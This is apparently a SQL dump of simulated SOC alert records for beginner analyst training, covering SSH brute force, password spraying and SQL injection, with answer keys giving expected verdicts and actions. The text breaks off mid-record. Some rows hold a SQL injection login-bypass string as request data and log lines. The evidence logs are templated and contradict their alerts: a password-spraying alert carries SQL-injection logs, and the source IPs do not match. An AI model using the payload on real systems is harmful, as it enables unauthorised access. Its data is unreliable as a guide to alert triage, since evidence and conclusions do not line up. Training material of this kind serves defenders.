(1665, 'Failed Login Attempts from Unusual Location', 'high', 'Elastic SIEM', 'Multiple login failures from a foreign IP address targeting the internal SSH server indicate a brute force attempt.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:05:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.1.12\",\"username\":\"guest\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"guest\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly used username in attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed attempts and external IP\'s reputation confirm this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1666, 'Potential Password Spraying Detected', 'medium', 'Wazuh', 'A foreign IP address initiated numerous failed login attempts on the company\'s web application.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.0.0.9\",\"username\":\"user2\",\"hostname\":\"web-app\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for engaging in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.9\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attack pattern and malicious IP reputation confirm this as an attack attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1667, 'Web Portal Access Attempt with SQL Injection', 'critical', 'Splunk', 'Detected SQL injection attempt in the request body targeting the internal web portal.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.45\",\"dst_ip\":\"10.0.0.15\",\"username\":\"none\",\"hostname\":\"web-portal\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP identified in multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The malicious payload and attack signature confirm the SQL injection attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1668, 'SSH Brute Force from Known Bad IP', 'critical', 'Azure Sentinel', 'SSH brute force detected from a high-reputation malicious IP targeting critical infrastructure.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin\",\"hostname\":\"infrastructure-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious history of the IP supports the detection of a true positive brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1669, 'Password Spraying Attempt on Corporate Web Portal', 'high', 'Splunk', 'Detected a series of failed login attempts from a single IP address against multiple user accounts on the web portal.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:30:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"192.168.1.25\",\"username\":\"user3\",\"hostname\":\"corporate-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently involved in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious IP reputation and pattern of login attempts confirm the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1670, 'Multiple Failed SSH Logins from Suspicious IP', 'medium', 'Elastic SIEM', 'A suspicious IP address was observed making multiple failed SSH login attempts, resembling a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:40:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.120\",\"dst_ip\":\"10.0.0.30\",\"username\":\"admin\",\"hostname\":\"server1\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.120\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity confirms the attack as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 